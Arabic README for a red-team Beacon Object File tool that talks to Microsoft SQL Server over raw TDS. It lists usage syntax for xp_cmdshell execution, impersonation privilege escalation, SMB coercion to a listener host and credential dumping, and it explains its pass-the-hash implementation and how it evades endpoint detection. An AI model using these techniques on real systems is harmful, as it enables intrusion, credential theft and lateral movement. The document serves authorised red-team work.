mssqlbof

مجموعة ملفات كائنات Beacon لخادم Microsoft SQL Server تتحدث TDS 7.4 على السلك نفسها، بلغة C. لا msodbcsql.dll، ولا sqloledb.dll، ولا .NET CLR، ولا PowerShell. ملف COFF واحد لكل بنية، يُحمَّل في كل beacon يحترم واجهة برمجة التطبيقات الرسمية لـ Beacon.

لماذا

يظهر SQL Server في كل مهمة تقريبًا. الأداة التي يلجأ إليها الناس هي SQLRecon / PowerUpSQL (CLR + PowerShell) وأي شيء يلتف حول sqlcmd.exe. كلاهما يترك mscoree.dll، أحداث PowerShell AMSI، أو نسخة كاملة من برنامج تشغيل Microsoft ODBC في ذاكرة beacon. لا شيء من ذلك ضروري: TDS هي مجرد بايتات مؤطرة عبر TCP مع مصافحة Schannel في المقدمة، وكل beacon يدعم BOF لديه بالفعل ws2_32، secur32، schannel، و bcrypt محملة.

لذا ينفذ mssqlbof TDS يدويًا، بلغة C، ويتصل مباشرة بأي بدائيات SSPI أو BCrypt يحتاجها المشغل للهدف. يقوم beacon بتحميل كائن واحد بحجم ~48 كيلوبايت، ويشغل SQL، ثم يفك التحميل. لا شيء آخر يدخل العملية.

التوافق

ملف كائن واحد لكل بنية. mssql.x64.o هو نفس الثنائي في كل إطار عمل — نستخدم فقط واجهة برمجة التطبيقات الرسمية لـ Beacon (BeaconPrintf، BeaconDataExtract، إلخ.) ونمط الاستيراد الديناميكي <LIB>$<fn> الذي تحله أدوات تحميل COFF في وقت التشغيل.

البدء السريع

apt install gcc-mingw-w64 libssl-dev
make

ينتج build/mssql.x64.o و build/mssql.x86.o. قم بإسقاطه على خادم الفريق، وحمّل باستخدام مشغل BOF الخاص بـ C2 الخاص بك.

الإجراءات

كل شيء يمر عبر ملف كائن واحد مع --action <verb>:

--action find                                   تعداد LDAP لأسماء SPNs الخاصة بـ MSSQLSvc في الغابة الحالية
--action info     --host <sql>                  الخادم/الإصدار/المستخدم الحالي/مسؤول النظام/قاعدة البيانات
--action query    --host <sql> --sql "..."      استعلام T-SQL عشوائي، متعدد الصفوف، متعدد مجموعات النتائج
--action links    --host <sql>                  تعداد الخوادم المرتبطة (قفزة واحدة)
--action exec     --host <sql> --cmd "..."      xp_cmdshell مع تمكين تلقائي واستعادة
--action impersonate --host <sql> --discover    سرد عمليات تسجيل الدخول التي يمكنك تنفيذها كـ
--action impersonate --host <sql> --login X --sql "..."
                                                تشغيل T-SQL كـ X عبر EXECUTE AS LOGIN
--action privesc  --host <sql>                  تعداد سطح تصعيد الامتيازات في ستة أقسام
--action coerce   --host <sql> --to "\\listener\x"
                                                إكراه المصادقة SMB عبر xp_dirtree
--action passwords --host <sql>                 تفريغ sys.linked_logins + sys.credentials
--action chain    --host <sql> --via LINK --sql "..."
                                                تنفيذ (...) AT [LinkedServer]

يعمل --action find بدون مضيف — فهو يتصل بوحدة تحكم النطاق الخاصة بالمشغل عبر LDAP.

المصادقة

أربعة أوضاع. تم التحقق من كل وضع من طرف إلى طرف ضد SQL Server 2019 في كل من COFFLoader و Adaptix C2 على نطاق حقيقي.

--auth sspi                                     (افتراضي) رمز مؤشر ترابط beacon الحالي
                                                Kerberos إذا كان SPN موجودًا، وإلا NTLM.
                                                يحترم make_token / steal_token.

--auth ntlm --domain D --user U --pass P        نص عادي NTLM صريح.
                                                يقود حزمة SSPI NTLM، متعدد الأرجل.

--auth ntlm --domain D --user U --hash <NT>     تمرير التجزئة.
                                                NTLMv2 يدوي (انظر أدناه).
                                                لا SSPI، لا lsass، لا make_token.

--auth sql  --user U --pass P                   مصادقة SQL.

يقبل --hash تجزئة NT سداسية عشرية بطول 32 حرفًا أو الصيغة LM:NT التي يصدرها secretsdump.

لماذا وضع التجزئة ليس مجرد SSPI + SEC_WINNT_AUTH_IDENTITY

تقبل AcquireCredentialsHandleW(NULL, "NTLM", ...) كلمات مرور نصية عادية فقط في بنية هوية الاعتماد. يستمد موفر NTLM تجزئة NT داخليًا. يتطلب إدخال تجزئة تصحيح lsass (ما يفعله Mimikatz sekurlsa::pth) أو تشغيل beacon تحت عملية قربانية تمت مصادقتها مسبقًا.

البديل — الذي اخترناه — هو تخطي SSPI تمامًا لـ PTH وإنشاء رسائل NTLMSSP بأنفسنا. يبني src/tds/ntlm_pth.c رسالة Type 1 NEGOTIATE، ويحلل رسالة Type 2 CHALLENGE الخاصة بالخادم من رمز TDS 0xED، ويجري حسابات NTLMv2 باستخدام موفر HMAC-MD5 من bcrypt.dll، ويكتب رسالة Type 3 AUTHENTICATE التي يمررها SQL Server بسعادة إلى وحدة التحكم بالنطاق.

فشلت المحاولة الأولى مع error 18452: login is from an untrusted domain. قام التقاط مصادقة Impacket العاملة على السلك بجانب مصادقتنا بتضييق نطاق المشكلة بسرعة: كنا نرسل 24 صفرًا لاستجابة LMv2 وحساء أعلام Windows المفاوضة الكامل 0xe288... جعل مطابقة حساب LMv2 لـ Impacket ومجموعته الأصغر من الأعلام 0xa2880205 (بدون KEY_EXCH، بدون SIGN، بدون ALWAYS_SIGN) الخادم يقبل التجزئة. الشرح في BLOG.

تصعيد الامتيازات لـ --action exec

--impersonate auto          (افتراضي) جرب EXECUTE AS LOGIN، ثم قفزة TRUSTWORTHY
--impersonate login         EXECUTE AS LOGIN عبر منحة IMPERSONATE
--impersonate trustworthy   القفز عبر dbo لقاعدة بيانات TRUSTWORTHY مملوكة لمسؤول النظام
--impersonate none          الفشل إذا لم يكن مسؤول نظام

يقوم privesc بتعداد السطح قبل اختيار طريقة: عضوية sysadmin، منح IMPERSONATE (مع حالة sysadmin لتسجيل الدخول الهدف)، قواعد بيانات TRUSTWORTHY المملوكة لمسؤول النظام (مع وصولك)، الخوادم المرتبطة، أذونات مستوى الخادم، وحالة xp_cmdshell.

البناء

apt install gcc-mingw-w64 libssl-dev
make                    # cross-compile BOFs to x64 + x86
make tds                # Linux shared library of the TDS core (for fuzzing / tests)

ينتج build/mssql.x64.o و build/mssql.x86.o. قم بإسقاطه على خادم الفريق، وحمّل باستخدام مشغل BOF الخاص بـ C2 الخاص بك.

تشارك مكتبة Linux المشتركة كل ملفات مصدر TDS مع بناء Windows؛ فقط tls_schannel.c / sspi.c / ntlm_pth.c يتم استبدالها بنظيراتها OpenSSL / stub.

لا شيء يستدعي libc أو Win32 مباشرة. كل رمز خارجي يمر عبر اتفاقية الاستيراد الديناميكي <LIB>$<fn> في src/common/dynimports.h. تحقق باستخدام:

x86_64-w64-mingw32-objdump -t build/mssql.x64.o | grep UND

يجب أن تظهر فقط MSVCRT$*، WS2_32$*، SECUR32$*، BCRYPT$*، CRYPT32$*، SCHANNEL$*، WLDAP32$*، KERNEL32$*، ADVAPI32$*، و __imp_Beacon*. لا msodbcsql.dll. ولا sqloledb.dll. ولا mscoree.dll.

الأمان العملياتي

كل شيء TLS هو Schannel حقيقي (ليس stub) مع معالجة خاصية التفاف PRELOGIN الخاصة بـ SQL Server: تعمل المصافحة داخل حزم TDS PRELOGIN من النوع 0x12، ثم يخرج LOGIN7 كبيانات تطبيق TLS خام، ويجيب الخادم على حزمة تسجيل الدخول الأولى كنص عادي. استمرارات SSPI متعددة الأرجل تذهب أيضًا كنص عادي — إذا قمت بتشفيرها باستخدام TLS، فإن SRV02 يغلق المقبس.

التوثيق

الحالة

v0.1.2 — مصادقة متعددة، PTH، 11 إجراء، تم التحقق منه في المختبر.

• أربعة أوضاع مصادقة تعمل: sspi، ntlm-plaintext، ntlm-hash (PTH)، sql
• BOF إرسال موحد (mssql.x64.o) مع 11 إجراء
• أربع طرق لتصعيد الامتيازات لـ exec: login، trustworthy، auto، none
• استمرار SSPI متعدد الأرجل مع معالجة TDS EOM
• تمرير التجزئة عبر NTLMv2 يدوي + BCrypt
• تحقق كامل من طرف إلى طرف: مسح COFF لـ 38 حالة + مسح Adaptix C2 على SQL Server 2019 منضم إلى نطاق

حالات حافة معروفة:

• مشاية الخادم المرتبط بقفزة واحدة فقط؛ سلسلة OPENQUERY المتداخلة العودية هي v0.2.
• أول SQLBatch بعد تسجيل دخول SSPI متعدد الأرجل يسقط البيانات على الأرض. يقوم SELECT تمهيدي في do_connect بتفريغه — التأثير الجانبي هو سطر [*] connected as ... الذي يسجله كل إجراء. السبب الجذري موجود في مسار القراءة بعد LOGINACK وسيحصل على إصلاح مناسب في v0.2.

الاعتمادات

• Cobalt-Strike/bof_template للحصول على سطح واجهة برمجة تطبيقات Beacon الرسمية الذي يلتزم به هذا المشروع بالضبط.
• TrustedSec/COFFLoader لأداة تحميل مستقلة لاختبار ضدها.
• impacket's ntlm.py و mssqlclient.py — مرجع قمنا بمقارنته عندما كنا نلاحق حساء أعلام NTLMv2.
• [MS-TDS] و [MS-NLMP] — المواصفات التي يتبعها كل هذا العمل اليدوي.
• Opus 4.6 — تمت صياغة أجزاء من التوثيق بمساعدة Opus 4.6. كل الكود مكتوب بخط اليد بواسطة أنا وتم التحقق منه من طرف إلى طرف في المختبر.

الترخيص

MIT.